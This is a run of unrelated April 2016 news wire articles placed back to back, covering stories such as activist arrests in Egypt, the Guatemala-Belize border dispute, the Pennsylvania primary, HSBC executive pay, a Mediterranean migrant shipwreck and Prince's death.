The prosecution ordered on Thursday the detention of activist Yasser El-Qot for four days pending investigations on charges of calling for protests overthrowing the regime and distributing flyers to protest on 25 April, judicial sources told Ahram Online.

The South Cairo prosecution has also ordered the summoning of activist Sana Seif, sister of jailed blogger Alaa Abdel-Fattah, for a hearing session on 27 April on the same charges.

Last week, several thousand protestors took to streets to oppose the governments decision to acknowledge Saudi Arabian sovereignty over the Red Sea islands of Tiran and Sanafir. They had vowed to stage another protest on 25 April, which is Sinai Liberation Day.

"We dont know what the fate of those activists and journalists who were arrested on Thursday night is and we don't know where are they now," said Imam.

The human rights lawyer said that in Cairo at least 56 people were arrested and in other governorates authorities raided houses and arrested some other 45 people.

Among those arrested according to Imam, were activists Haitham Mohamadein, Saied El-Banna and Mohamed Mostafa.

Some cartoonists and journalists who were among those arrested but were released on the same day have documented their testimonies, saying that security forces had totally refused to give the reason for their detention.

"It was a depressing experience, sad but not cruel. We were arrested from a downtown cafe, they held us for a few hours and left us without a word. It is not fair, they let us go because we are known, while others who are less lucky and have nothing to do with politics stay in jail," said Al-Masry Al-Youm cartoonist Makhlouf in a Facebook post following his release early on Friday morning.

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It's National Park Week, but for anyone who is stuck indoors and can't hit the road, Google is making it easy to virtually visit many of America's treasures.

Google Street View and Google Cultural Institute have teamed up to showcase U.S. national parks and historic sites on one easy-to-navigate web page. Users can overlook the Merced River in Yosemite National Park in California, view volcanic cinder cones at Idaho's Craters of the Moon National Monument and take a virtual hike in the Everglades in Florida, among other virtual adventures.

The featured parks include at least one from every state, and aren't limited to surface streets. Views of Cedar Sink at Mammoth Cave National Park in Kentucky take Street View underground. And at Glen Canyon National Recreation Area in Utah, Street View becomes "Boat View," featuring panoramas of Lake Powell and the Colorado River. [All Yours: 10 Least Visited National Parks]

Not feeling outdoorsy? Check out the Andrew Johnson National Historic Site in Greenville, Tennessee, home of the 17th U.S. president. You can even read the informational signs outside the visitor center. Or, take a stroll around the Statue of Liberty in New York City, and get an idea of what it's like to peer up at this landmark's iconic green visage.

Meanwhile, the Cultural Institute spotlights a collection of objects collected from national parks and historic sites, such as a portrait of naturalist John Muir by his sister, Mary Muir Hand; the desk upon which Theodore Roosevelt is thought to have written his first presidential proclamation; and a breathtaking Sioux or Cheyenne shirt embroidered with porcupine quills, deer bone and eagle feathers.

Other objects in the gallery include a rusty whiskey still from Congaree National Park in South Carolina, a copper ingot from Keweenaw National Historical Park in Michigan, and a fragment of a letter from Ulysses S. Grant to his wife beginning, "Dearest Julia, I have just ".

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National Park Week is an annual celebration of the National Park System. Between April 16 and April 24, all national parks offer free admission, and individual parks host specialized programs. This year, the Park Service is embracing technology with Instameets, prearranged gatherings where smartphones and social media postings are encouraged.

Follow Stephanie Pappas on Twitter and Google+. Follow us @livescience, Facebook & Google+. Original article on Live Science.

Copyright 2016 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Guatemala City (AFP) - Guatemala has deployed 3,000 troops to its disputed border with Belize following a shooting incident that killed a Guatemalan teen, Defense Minister Williams Mansilla said.

"It is a preventive measure, it is not a declaration of war," Mansilla told AFP by telephone from northern Guatemala, where he was overseeing the deployment.

The United States expressed concerned over the sudden spike in tensions between the two Central American nations.

The State Department issued a statement to "urge calm and restraint by both sides."

Guatemala has made claims over more than half of Belize's territory dating back 150 years to when its small neighbor was a British colony known as British Honduras.

- Contesting accounts -

Tensions between the two have long been simmering despite agreement to try to resolve the territorial dispute in the International Court of Justice (ICJ) following separate referendums.

They ratcheted up dramatically on Wednesday, when a shooting incident occurred that each country said happened on its side of the border.

According to Guatemala, a Belize patrol shot and killed a 13-year-old Guatemalan boy walking home from field labor, and wounded his father and brother.

Belize rejected that version and said one of its patrols came under fire from Guatemalan civilians and responded in "justifiable self-defense."

Each side accuses the other of a preceding series of other acts of violence, and fears are rising over the militarization along the border.

The State Department said it was "deeply concerned" by the reports of the boy's death. It expressed condolences to his family.

"We urge calm and restraint by both sides, and we call for a full investigation of the facts surrounding this tragedy," the statement said.

Belize's Prime Minister Dean Barrow, in a recorded audio message, said he met with Guatemalan President Jimmy Morales on the margin of a UN meeting in New York to complain that the Guatemalan measures "escalate tension to an utterly unacceptable degree."

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Barrow said both agreed "there is an immediate need to de-escalate tensions."

He added that an "impartial" investigation into the shooting by the Organization of American States (OAS) was being carried out.

Belize was also asking the US to send forensic experts to help recreate the circumstances of the shooting incident, he said.

- Test for new leader -

Although Belize became independent in 1981, Guatemala did not recognize it for another decade because of its territorial claims, prompting Britain to keep a small military presence in its former colony as a deterrent until five years ago.

Guatemala and Belize have issued separate statements accusing the other of a number of violent acts against its forces or citizens in the border area in the past two decades.

The heightened border dispute is the first foreign policy challenge for Morales, a former TV comedian who became Guatemala's leader in January after pulling off a surprise victory in an election to replace his predecessor felled by a corruption scandal.

In a recorded address to the nation Thursday, Morales accused Belize of "cowardice" over the killing, saying Guatemalan forces would assert "strict protection for the sovereignty" of the shared border river.

The OAS and Britain both voiced concern over the rising tensions and urged the two neighbors to leave the dispute in the ICJ's hands.

Britain's minister of state for Latin American affairs, Hugo Swire, appealed for "moderation" from both nations and said the ICJ was "the best path" to settle the dispute.
Pennsylvania's 2016 presidential primary is scheduled for Tuesday, April 26. As such, both parties' presidential candidates are campaigning hard in the delegate-rich Keystone State. There are 210 Democratic and 71 Republican delegates at stake in Pennsylvania's nominating contest, a substantial portion of those who will be allocated during the day's four primaries. In a race that's become as close as this one, every delegate a candidate gains matters.

The candidates are busy hammering away at Pennsylvania voters. Directly after her victory in Tuesday's New York primary, Democratic frontrunner Hillary Clinton hustled to Philadelphia, while Vermont Sen. Bernie Sanders campaigned in Erie.

Texas Sen. and Republican contender Ted Cruz was already rallying the city of brotherly love on Tuesday, while opponent and Ohio Gov. John Kasich was busy appealing to voters in Pittsburgh. Party frontrunner Donald Trump, meanwhile, has initiated his own behind-the-scenes strategy to secure the state's delegates.

Donald Trump campaigns in Pittsburgh on April 14, 2016.

This is because Pennsylvania has a wonky Republican primary procedure. 17 delegates go to the candidate who wins the state, but the remaining 54 are unbound and can vote for whomever they please during the initial vote at the Republican National Convention. What makes the whole thing shadowy and strange is that the delegates' names appear on the state's GOP ballots free of qualifiers. Voters choose three delegates without knowing which candidates those delegates support.

Hillary Clinton campaigns in Philadelphia on April 20, 2016.

On the Democratic side, things are more straightforward  party primaries always award delegates proportionally. Clinton's New York win solidified her lead over Sanders, whose campaign needs to win as many of Tuesday's delegates as it can in order to remain viable. According to Real Clear Politics, Clinton is roughly 16 percentage points ahead of Sanders in Pennsylvania, with 53% of voters' support to Sanders' 37%. RCP puts Trump 19 points ahead of his GOP opponents, with 44% support to Cruz's 25% and Kasich's 24%.

Connecticut, Delaware, Maryland and Rhode Island will also hold their primaries on Tuesday. To vote in Pennsylvania's, go here to determine your local voting site. Polls are open from 7 a.m. to 8 p.m. Eastern.
The director who gave audiences the ultimate haunted house in Crimson Peak and a real-life Tenome (the weird hand-eye monster) in Pan's Labyrinth next is tackling an art exhibition.

Guillermo del Toro is curating his personal collection of oddities, eccentricities and doohickeys into an exhibit, Guillermo Del Toro: At Home with Monsters. It will be on display at the Los Angeles County Museum of Art from July to November.

The Pacific Rim director will be pulling from Bleak House - the name affectionately given to his home museum, which features a life-size figure of Edgar Allan Poe, a disembodied Frankenstein head and a commissioned reproduction of the captain's bed from the Pirates of the Caribbean ride at Disneyland.

Five hundred items will be taken from del Toro's macabre man cave for the Bleak House exhibit.

After its stint at LACMA, the exhibit will travel to Minneapolis and Toronto.

See a short guided tour of Bleak House from del Toro below.
CARACAS, April 22 (Reuters) - U.S. oil services firm Halliburton Co has decided to begin curtailing activity in Venezuela, the company said on Friday, less than two weeks after Schlumberger Ltd announced a similar decision as a result of payment difficulties.

Venezuelan state oil company PDVSA has struggled to settle unpaid bills to service firms as a result of low oil prices and heavy bond payments that the company must make this year.

"During the quarter we made the decision to begin curtailing activity in Venezuela," Halliburton said in an earnings release.

Contacted for further details, a company representative said no additional information was available.

Halliburton's revenue in Latin America decreased 22 percent in the first quarter to $541 million as result of reduced activity in Mexico, Brazil and Colombia. Its regional operating income was $48 million, a 51 percent decrease, the company said.

Schlumberger, the world's No. 1 oil services company, said last week that it was reducing operations in Venezuela because it could not increase its accounts receivable balance beyond existing levels.

PDVSA did not immediately respond to an email seeking comment. In its 2014 financial results, the company reported debts to providers of close to $21 billion.

(Reporting by Brian Ellsworth and Alexandra Ulmer; Editing by Matthew Lewis)
By Lawrence White and Sinead Cruise LONDON (Reuters) - HSBC changed its pay policy for executive directors on Friday, bowing to shareholder concerns triggered by a drop in the bank's share price and worries over its dividend. The overhaul of HSBC's pay, which it said would lower the top amount its executive directors could earn by 7 percent came a year earlier than scheduled and follows investor revolts at BP and Anglo American over remuneration policies. Europe's biggest bank, which also warned of the potential impact to its operations if Britain leaves the EU, told shareholders at its annual meeting in London that it would cut the amount of cash given to executive directors in lieu of a pension from 50 percent to 30 percent of base salary. Shareholders peppered Chairman Douglas Flint with questions over senior executives' pay and the fairness of Chief Executive Stuart Gulliver's 2015 payout of 7.3 million pounds ($10.5 million), 169 times the average HSBC worker's salary. "Our executive team is paid very well but not at the top of the range for similarly large and complex organisations," Flint said. HSBC also said it will offer long-term incentives subject to a three year forward-looking performance period, in line with other FTSE 100 <.FTSE> companies. PROTESTS At the meeting, 96 percent of shareholders who voted approved the measures, which Flint said were prompted by regulatory changes and shareholder feedback. Outside the meeting, protestors including two individuals dressed as "fat cats" in suits and bowler hats voiced their criticism of senior executive pay at the bank. On investors' dividend concerns, meanwhile, HSBC introduced a note of caution, with Flint and Group Finance Director Iain Mackay emphasizing that the ability to continue increasing the payout depends on the bank's profitability. "The sustainability of the dividend is informed by the level of profits, the strength of our distributable reserves and our understanding of the capital regime," Mackay told reporters after the meeting. Thomson Reuters data shows consensus analyst forecasts for HSBC's dividend to be unchanged at 50 cents at the end of 2016. HSBC also said it could be forced to restructure its wholesale operations in the UK if Britain voted to leave the European Union in June's referendum. "Our own economic research is very clear about the advantages of Britain being at the heart of a reformed EU," Flint said. "We believe that the UK would enter a period of great economic uncertainty in the event of a vote to leave." U.S. LICENSE Responding to concerns about its position in the United States, Flint said the bank is "doing everything it had promised" to avoid the loss of its U.S. banking license after alleged failures to satisfy a monitor supervising a reboot of its anti-money laundering (AML) compliance program. In 2012 HSBC was fined $1.9 billion by the U.S. government, which said it had become a "preferred financial institution" for drug cartels and money launderers and had conducted transactions for customers in several countries subject to U.S. sanctions. "The DOJ (Department of Justice) in its most recent letter would echo that although HSBC has made significant progress, the bank continues to face significant challenges in implementing AML prevention," Flint said in response to an investor's question at the meeting. "So we have work to do, but at same time, the DOJ said that, overall, HSBC continues to take significant steps." Shareholder Michael Mason-Mahon, a frequent AGM attendee and critic of Gulliver and Flint, brandished handcuffs as he called for the two men to resign over their handling of the bank's efforts to reform AML controls. The bank's chairman also sought to play down links to the Panama Papers scandal that exposed the role played by scores of global banks in helping clients to hide wealth in offshore companies. Flint said that less than 5 percent of 2,000 offshore structures it helped to create still existed. (Additional reporting by Andrew MacAskill; Editing by Rachel Armstrong, Alexander Smith and David Goodman)
By Lefteris Karagiannopoulos and Abdi Sheikh ATHENS (Reuters) - A knife-wielding human trafficker prevented survivors of a shipwreck from pulling others to safety, leaving them to drown in the dark, one of the surviving migrants said on Thursday. Up to 500 people are believed to have died in last week's disaster, when an overcrowded boat sank in the southern Mediterranean. Just 41 people were eventually saved by a passing merchant ship and brought to Greece on April 16. Muaz Mahmud, 25, from Oromia in Ethiopia, managed to escape the packed vessel as it was sinking and clambered onto a nearby boat. However, a people smuggler prevented them from helping others still in the sea, saying they had to leave immediately. "I told him 'don't start motor please we have to save these people'. He took a knife. "I am going to kill you, we don't stand here," and then I just cried," Mahmud told reporters, speaking in broken English. He had been with his wife and 2-month-old baby, having paid $1,800 each for the passage. They are feared drowned. While the handful of survivors recounted their tales of horror, families of those still missing, many of whom were believed to be from Somalia, described how their relatives had hoped to reach Europe and escape poverty. In Somalia's bombed-out capital, the parents of Mohamed Farah, 25, are still awaiting word of his fate. His family and friends had scraped together thousands of dollars to help him to make the perilous trip over land and sea to Europe. They have been told his picture was not among those of the survivors. "Is he alive or dead? His mother has not eaten food for days," said Ali Nur, his 23-year-old cousin and friend. "The agent (trafficker) is the criminal behind the disaster. He got rich from the Somalis drowning in the sea." The stories from the survivors and grieving relatives give a clear timeframe for one of the worst such tragedies in recent years, showing not just the dangers of the journey but also the relative sophistication of the human trafficking ring. More than 150,000 migrants reached Italy by boat last year, with some 25,000 arriving so far this year. About 800 are believed to have died trying to make the crossing since January. NIGHTTIME RENDEZ-VOUS Mohamed Farah left Mogadishu in early February, travelling through Somaliland, Ethiopia and Sudan before reaching Egypt. On April 8 he called home to say he was set to leave, having paid about $3,000 for his place on the boat. "'We are going to sail, please pray for me, parents,'" Nur quoted him as saying in that final call. It is not clear when precisely he put to sea, but survivors have said one boat with up to 300 people aboard departed somewhere from Egypt, while a second, smaller boat, carrying up to 200, left from near Tobruk in eastern Libya. Many hours after putting to sea, these two vessels met up in the dead of night, probably on April 13. The smugglers transferred almost everyone onto the bigger boat, at which point it started taking in water. Survivors and officials say that between 400-500 were probably on board when it sank. "When this boat was falling, we started swimming to save our life to the other boat. Some survivors on the other boat threw something to us (to help us). We were 10 people," said Mahmud. With others still swimming towards them, the smuggler started the engine and abandoned them. "We saw the dead guys with our eyes," said Mowlid Isman, 28, from Mogadishu in Somalia. Like Mahmud, he had managed to reach the smaller boat before it left. His sister and her baby did not and are feared drowned. "Other peoples' families died too. There wasn't anything we could do because they were in the water (and) we moved away," he said, speaking through an interpreter. Survivors said the smuggler headed towards Italy but at a certain point he boarded a third boat to return to Libya. He promised to return with water and food, but never reappeared. He also left a satellite phone, with an Italian number for them to call. "I called. It was the police, I called them to help us," Mahmud said. One ship passed nearby but did not pick them up, he said. A second boat finally found them and took them to Greece. The survivors -- 37 men, three women and a three-year-old child from Somalia, Ethiopia, Egypt and Sudan -- said they had drifted at sea for three days. They are now in Athens and Greek non-governmental organization Praksis said they had all been given a one-month permit to stay in the country. In Somalia, news of the disaster started to filter through on April 17. Farah's cousin said they got confirmation from a man nicknamed Magafe, which means 'he who never misses', who was the agent who had organised the doomed crossing. "Before (Farah) sailed away we spoke to him and his friends whom he made on the way and with whom he stayed in Egypt. Now all of them are gone in the sea." (Writing by Crispian Balmer; Abdi Sheikh reported from Mogadishu, Additional reporting by Edmund Blair in Nairobi and Angeliki Koutantou in Athens; Editing by Angus MacSwan)
Egyptian authorities repatriated 11 Egyptians from Syria on Thursday after coordinating with the International Organization for Migration (IOM), Mohamed Sowilem, Egypt's acting ambassador to Damascus, said on Friday.

"Two Egyptian families, which include 11 people, asked the Egyptian diplomatic delegation to Damascus to help them leave Syria, especially after the unprecedented deterioration in living and security conditions, given the ongoing clashes there," Sowilem said.

He added that this is the third Egyptian group which has returned from Syria to Cairo this year as other families fled in February and March, to make a total of 45 people.

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By Dave McKinney and Karen Pierog

CHICAGO (Reuters) - Illinois cash-starved public universities and community colleges won a temporary financial reprieve on Friday after the state legislature approved a $600 million funding plan, offering a rare break in the state's long-running budget stalemate.

The legislation now goes to Republican Governor Bruce Rauner, who praised its passage and is expected to sign it.

By passing this bipartisan agreement, lawmakers in both chambers put aside political differences to provide emergency assistance for higher education, ensuring universities and community colleges remain open and low-income students can pay for school," Rauner said.

The plan represents a partial thaw in a crippling 10-month budget deadlock between Rauner and Democrats who control the state legislature that has hit the state's higher education and social service systems acutely. Illinois is the only state without a full operating budget.

The votes benefit Chicago State University, which serves a predominantly minority enrollment in Chicago. It accelerated the close of its school year and vowed to quit paying employees after April because of the lack of state funding.

Under the legislation now headed to Rauner, the university would get $20.1 million. Low-income students reliant on Illinois' Monetary Award Program scholarships also would see about $169.7 million.

But the overall $600 million package represents only 34 percent of the $1.7 billion that Democrats originally earmarked for higher-education spending this fiscal year.

The plan contained no human services funds, though the state Senate approved competing legislation on Friday combining the $600 million for higher education with $441 million for social services. Rauner's office said he does not support that plan.

House Speaker Michael Madigan, a Chicago Democrat with whom Rauner has feuded, criticized the governor after Friday's votes for not making human-services spending a priority.

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"If he continues his unwillingness to assist our human service providers, he will be successful in destroying the safety net for those most in need and for critical state services," Madigan said.

The respite for the state's higher-education system comes after its community colleges received rating downgrades and negative outlooks by Moody's Investors Service in recent weeks.

"The negative outlook reflects pressure on the community college sector in Illinois as a result of the state's budget impasse and ongoing fiscal challenges," Moody's said.

In October, Moody's cut the ratings of six state universities after its downgrade of Illinois to Baa1.

Standard & Poor's in late March put five state universities under review for potential rating downgrades.

(Reporting by Dave McKinney; Editing by Andrea Ricci)
AMSTERDAM (Reuters) - Greece and its lenders have made some progress towards an agreement on reforms, but not enough to unlock new loans or start talks on vital debt relief, the head of the International Monetary Fund Christine Lagarde said on Friday.

"There is more work to be done. We are determined to continue the work. We're not there yet," Lagarde said on arriving for a meeting of euro zone finance ministers.

"There is more to be done and a debt sustainability to be agreed upon as well. It's critically important," Lagarde said.

Germany and several other countries, including Finland and Slovakia, oppose debt relief for Athens, arguing it is not necessary. The IMF believes that without it, Greek debt will not be sustainable.

"That program has to walk on two legs. There has to be sufficient reforms and we are making progress on that front, some progress, and there has to be debt sustainability at the end of the day and on that front we have not yet started the discussion," Lagarde said.

(Reporting By Jan Strupczewski, Francesco Guarascio; additional reporting by Philip Blenkinsop in Brussels)
ANKARA (Reuters) - Iran has finalised a deal with U.S. companies to sell 32 metric tons of its heavy water, a senior Iranian official said on his Instagram page on Friday. "Head of Iran's Atomic Energy Organisation signed a deal with American companies to sell 32 tonnes of heavy water," said Hamid Baidinejad. Under a landmark nuclear deal reached between Iran and six major powers last year, Tehran is responsible for reducing its stock of heavy water, which it can sell, dilute or dispose of under conditions. (Writing by Parisa Hafezi; Editing by Dominic Evans)
Jerusalem (AFP) - Israeli MPs and ministers have been banned from entering a key religious compound in Jerusalem "for security reasons" during the Jewish Passover festival which begins on Friday, police confirmed.

The compound, known to Muslims as the Al-Aqsa mosque but to Jews as the Temple Mount, is holy to both religions.

Visits by Israeli officials during Jewish holidays are considered provocations by many Palestinians, who fear Israel wants to take control of the third holiest site in Islam.

The Temple Mount is the holiest site in Judaism.

"The ban on ministers and MPs was decided for security reasons" during the eight-day Passover festival, police spokesman Micky Rosenfeld said, without giving further details.

"However, the visits of tourists and Jewish visitors can continue normally," he said.

Under the current arrangement, Jews are allowed to visit the compound but not pray.

Three "young Jews" who were planning to sacrifice a sheep on the Temple Mount during Passover were arrested on Friday, police announced, saying they "threatened to undermine the peace."

Rosenfeld added that police reinforcements had boosted their presence in Jerusalem during the festival, with a total of 3,500 police on patrol. He declined to say how many of these forces were new.

"These forces are patrolling in all public places, bus stations, shopping malls, tram stations," he said.

During Passover tens of thousands of Jews flock to the Old City of Jerusalem.

Last year 50,000 Jewish worshippers attended a ceremony held in front of the Wailing Wall, which will be held on Sunday this year.

The site is venerated by Jews as a remnant of a wall supporting the Second Temple complex, which was destroyed by the Romans in 70 AD.

The wall is located below the mosque compound in the Old City in Israeli-annexed East Jerusalem.

Israel has also closed off all crossing points between the occupied West Bank and the Gaza Strip to Israeli territory for Friday and Saturday.

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Prime Minister Benjamin Netanyahu announced last week Israel would deploy reinforcements around the Temple Mount during Passover to prevent "riots".

"As Passover approaches, all sorts of extremists will spread lies about our policy concerning the Temple Mount," he said.

Tensions are high in Israel following a wave of violence that has killed 201 Palestinians and 28 Israelis since October.

Most of the Palestinians killed were carrying out knife, gun or car-ramming attacks, according to Israeli authorities.

Palestinians argue that Israel is seeking to change the arrangement at the Temple Mount, claims Netanyahu and other ministers have repeatedly denied.

Passover celebrates the escape of the Israelites from slavery in Egypt.
By Daren Butler and Gulsen Solaker ISTANBUL/ANKARA (Reuters) - Turkish Cypriot businessman Asil Nadir, jailed in Britain in 2012 for stealing millions from his business empire, was released in Turkey on Friday shortly after he was returned there to complete his sentence. A court ruling seen by Reuters said Nadir would be released on probation, serving the rest of his sentence outside prison, and that there was no need to monitor him. Nadir was flown from London to Istanbul on Thursday evening after British authorities accepted his request to serve the rest of his sentence in Turkey. It was not immediately clear if his release was part of the agreement. His sister Bilge Nevzat thanked Turkish President Tayyip Erdogan and Foreign Minister Mevlut Cavusoglu for their efforts in her brother's extradition and release, Hurriyet Daily News reported. The 74-year-old was jailed for 10 years in 2012 for stealing 29 million pounds ($41.8 million) from Polly Peck, an ailing textiles company which he transformed into one of the most successful British firms of the 1980s. Its later collapse was one of Britain's biggest corporate failures and was an embarrassment for the Conservative Party, which had accepted big donations from Nadir in the 1980s. Earlier on Friday, a Justice Ministry spokeswoman in Britain said government policy was to remove foreign criminals to their own countries. "Arrangements were made with the Turkish government for his removal as part of our prisoner transfer agreement," she said. Nadir was escorted to a police station on arrival at Istanbul's Ataturk Airport, private news agency Dogan reported. Television footage showed him sitting in the back of a car as it arrived at the gates of Silivri prison, west of Istanbul. The repatriation took place after Nadir repaid 2 million pounds ($2.87 million) he owed the legal aid agency and 5 million pounds in compensation he paid earlier. Polly Peck collapsed in 1990 when British officials began a fraud investigation. Nadir was arrested but after being released on bail fled the country in a private plane to live in northern Cyprus, where he was beyond the reach of British law. The self-declared Turkish Cypriot state set up after the 1974 Turkish invasion of Cyprus is not recognized internationally. Nadir returned to London in 2010 to clear his name after 17 years on the run, but he was found guilty of 10 out of 13 charges of theft. ($1 = 0.6941 pounds) (Additional reporting by Kylie MacLellan in London,; writing by Daren Butler; Editing by Angus MacSwan and John Stonestreet)
By Daren Butler and Gulsen Solaker ISTANBUL/ANKARA (Reuters) - Turkish Cypriot businessman Asil Nadir, jailed in Britain in 2012 for stealing millions from his business empire, was released in Turkey on Friday shortly after he was returned there to complete his sentence. A court ruling seen by Reuters said Nadir would be released on probation, serving the rest of his sentence outside prison, and that there was no need to monitor him. Nadir was flown from London to Istanbul on Thursday evening after British authorities accepted his request to serve the rest of his sentence in Turkey. It was not immediately clear if his release was part of the agreement. His sister Bilge Nevzat thanked Turkish President Tayyip Erdogan and Foreign Minister Mevlut Cavusoglu for their efforts in her brother's extradition and release, Hurriyet Daily News reported. The 74-year-old was jailed for 10 years in 2012 for stealing 29 million pounds from Polly Peck, an ailing textiles company which he transformed into one of the most successful British firms of the 1980s. Its later collapse was one of Britain's biggest corporate failures and was an embarrassment for the Conservative Party, which had accepted big donations from Nadir in the 1980s. Earlier on Friday, a Justice Ministry spokeswoman in Britain said government policy was to remove foreign criminals to their own countries. "Arrangements were made with the Turkish government for his removal as part of our prisoner transfer agreement," she said. Nadir was escorted to a police station on arrival at Istanbul's Ataturk Airport, private news agency Dogan reported. Television footage showed him sitting in the back of a car as it arrived at the gates of Silivri prison, west of Istanbul. The repatriation took place after Nadir repaid 2 million pounds he owed the legal aid agency and 5 million pounds in compensation he paid earlier. Polly Peck collapsed in 1990 when British officials began a fraud investigation. Nadir was arrested but after being released on bail fled the country in a private plane to live in northern Cyprus, where he was beyond the reach of British law. The self-declared Turkish Cypriot state set up after the 1974 Turkish invasion of Cyprus is not recognised internationally. Nadir returned to London in 2010 to clear his name after 17 years on the run, but he was found guilty of 10 out of 13 charges of theft. (Additional reporting by Kylie MacLellan in London,; writing by Daren Butler; Editing by Angus MacSwan and John Stonestreet)
TOKYO (Reuters) - A group of Japanese lawmakers on Friday visited a Tokyo shrine seen by critics as a symbol of Japan's past militarism to pay respects to the country's war dead, a step that could strain ties with its Asian neighbours China and South Korea, Kyodo news agency reported. The visit comes a day after Prime Minister Shinzo Abe sent a ritual offering to the Yasukuni shrine, where 14 war criminals convicted by an Allied tribunal are among those honoured, to mark its annual spring festival, and ahead of an expected visit by Foreign Minister Fumio Kishida to China. Kishida will likely meet his Chinese counterpart Wang Yi on April 30 to try to ease friction over issues such as sovereignty disputes in the East China Sea and China's assertive moves in the South China Sea, Japanese media have said. Japan's ties with China and South Korea have long been plagued with territorial disputes, regional rivalry and what Seoul and Beijing see as Japanese leaders' reluctance to atone fully for the country's wartime past. China and South Korea suffered under Japan's sometimes brutal occupation and colonial rule before Tokyo's defeat in 1945. (Reporting by Kaori Kaneko, writing by Kiyoshi Takenaka: Editing by Michael Perry)
Could the U.S. give Ukraines military a portable, fire-and-forget anti-tank missile that can knock out Russian tanks? It might if the presidents pick to lead American troops in Europe gets his way.

A few weeks after he was tapped by the Obama administration to be the new head of U.S. European Command, Army General Curtis Scaparrotti said to Senate lawmakers that he is open to the idea of giving Ukraine the Javelin missile system.

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I think that there's a requirement for an anti-tank weapon, like Javelin, in their situation, said Thursday in response to a question from Senate Armed Services Committee chair John McCain (R-AZ) during a confirmation hearing.

Developed by Lockheed Martin and Raytheon and first deployed with the U.S. Army in 1996, the portable system is used by roughly 20 countries around the globe, including Estonia and Lithuania, two other Eastern European countries threatened by Moscows aggressive behavior over the last two years. Around 40,000 copies of the weapon have been produced.

The Javelin consists of a missile round and a detachable command launch unit that can use thermal heat to find targets at night. The command element costs $126,000 and each missiles costs about $78,000. It is lighter and more mobile than the TOW missile, which Washington has given to friendly forces inside Syria.

Related: First Look at $3.4 Billion in Weapons the US Is Sending to NATO

The missile features a firing range of up to 1.5 miles, giving troops a little bit of breathing room between themselves and their intended target, though not as much as other portable weapons systems out there.

A big drawback of the system is that, once fired, operators have no chance to correct the missiles flight path.

Scaparrotti will likely breeze through confirmation votes by the Armed Services panel and the full Senate, placing him at the nexus of the debate about Washington giving offensive weapons to Ukraine in order to repel Russian-backed separatists in the eastern part of the country.

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Related: Russia: So We Buzzed a US Destroyer, Whats the Big Deal?

Last month the U.S. and Ukraine struck a deal in which Kiev will receive $335 million in security and military aid. And the administrations fiscal year 2017 budget request wants $3.4 billion for the European Reassurance Initiative. The request quadruples the amount of money for an effort that covers the costs of sending hundreds of U.S. troops in and out of Europe for brief deployments, military exercises with allies and other training missions.

Despite these steps, the administration has rejected giving major offensive weapons to Kiev, fearful that it could lead to a larger conflict and more hostility from Russia President Vladimir Putin. With a new commander at the helm, and a new commander-in-chief next year, that position could change.

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(Reuters) - A New Jersey school board member resigned on Friday after drawing fire for anti-Muslim Facebook posts, including one saying, "America needs to get rid of people like you," the board president said.

Elmwood Park Board of Education member Gladys Gryskiewicz had come under pressure to step down after attention was drawn to the posts on her personal Facebook account.

Board President Jeanne Freitag confirmed the resignation, which was reported by New Jersey's Record newspaper on Friday.

"There will be a resolution at Tuesday's meeting," she said in an email. The resolution calls for the board to accept Gryskiewicz's resignation effective immediately, according to the meeting's online agenda.

Gryskiewicz this year had urged Muslims to "stay in your desserts [sic] and follow your religion in your own countries," the New Jersey chapter of the Council on American-Islamic Relations, or CAIR, said in a statement.

She also wrote, "Go back to your own country; America needs to get rid of people like you," CAIR said.

The Record said Gryskiewicz had cited concerns about her family's safety in quitting the board in Elmwood Park, a township about 10 miles (16 km) west of New York.

Gryskiewicz was elected in November and sworn into office in January. The Facebook page has been taken down.

Schools Superintendent Anthony Grieco had called the statements "hurtful and offensive" and said they had disrupted the school day.

CAIR said a high school student called attention to the posts at a board meeting last month.

Humza Yousuf, 17, said Gryskiewicz's comments offended him. Yousuf is Muslim and his parents are Pakistani immigrants. He is student body president at Elmwood Park Memorial High School.

Principal David Warner demanded Gryskiewicz's resignation. The call was echoed by students, CAIR, several school board members, teachers union officials and state legislators.

(Reporting by Ian Simpson and Barbara Goldberg; editing by Berard Orr and Richard Chang)
Egypt's ministry of interior filed a police complaint against Reuters' Cairo bureau on Friday, accusing it of "publishing false news using anonymous sources" after a Thursday report by the agency that quoted unnamed security sources as saying that murdered student Giulio Regeni had been in police custody prior to his death.

In an official statement released on Thursday, the ministry's spokesperson described the Reuters report as "unfounded."

Reuters reported that several police and intelligence sources, who spoke to the agency on condition of anonymity, said that the PhD student had been detained by police on the 25 January at a police station near Ramsis Square in Cairo and had been held for thirty minutes before authorities transferred him to the headquarters of the interior ministry.

Regeni vanished from the streets of Cairo in the evening hours of 25 January, and his dead body was discovered in a ditch on the outskirts of the city nine days later, showing signs of extensive torture.

The Egyptian authorities have been conducting an investigation into the murder of the Italian student, but no suspects have so far been charged.

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By Marcus E. Howard

NEW YORK (Reuters) - A New Jersey woman convicted of killing her newborn daughter by setting her on fire last year was sentenced on Friday to 30 years in state prison, prosecutors said.

Hyphernkemberly Dorvilier, 23, of Pemberton Township, a Philadelphia suburb, must serve 85 percent of the sentence, or 25-1/2 years, before she is eligible for parole, Burlington County Prosecutor Robert Bernardi said.

Dorvilier pleaded guilty to aggravated manslaughter on Feb. 29 after she was charged with first-degree murder in the baby's death in Mount Holly, New Jersey, in January.

As part of the plea deal, Bernardi recommended a 30-year prison sentence. Dorvilier's attorney, Karen Thek, was not immediately available for comment.

"During this child's short time on Earth, she experienced nothing but pain and suffering caused by the hands of her own mother," Bernardi said in a statement.

"This was an atrocious act, and one that was entirely preventable given our state's law that allows someone to anonymously give up an unwanted infant."

According to Barnardi, Dorvilier's family did not know that she was pregnant.

After Dorvilier gave birth to the baby girl on Jan. 16, 2015, in the house where she lived with her mother and sister, she set the newborn on fire using a flammable liquid in a wooded area a few miles from her home, according to investigators.

Nearby residents found Dorvilier as she attempted to flee, prosecutors said. The child died two hours later at Saint Christopher's Hospital in Philadelphia.

(Reporting by Marcus E. Howard; Editing by Sandra Maler)
On Friday's Today, music executive L.A. Reid stopped by to share his memories of his late friend Prince.

Reid said he's "still in shock" about the musician's death.

Reid said he spent yesterday listening to Prince all day. "I've always said it, I believe it: [He was] the greatest at everything. Playing, writing, composing, fashion, everything." The producer said Prince had "the masculinity of Teddy Pendergrass, but he could take your girl, wearing high heels."

Co-host Matt Lauer asked Reid if he had any clue that something was wrong with Prince's health, and Reid said he didn't at all.

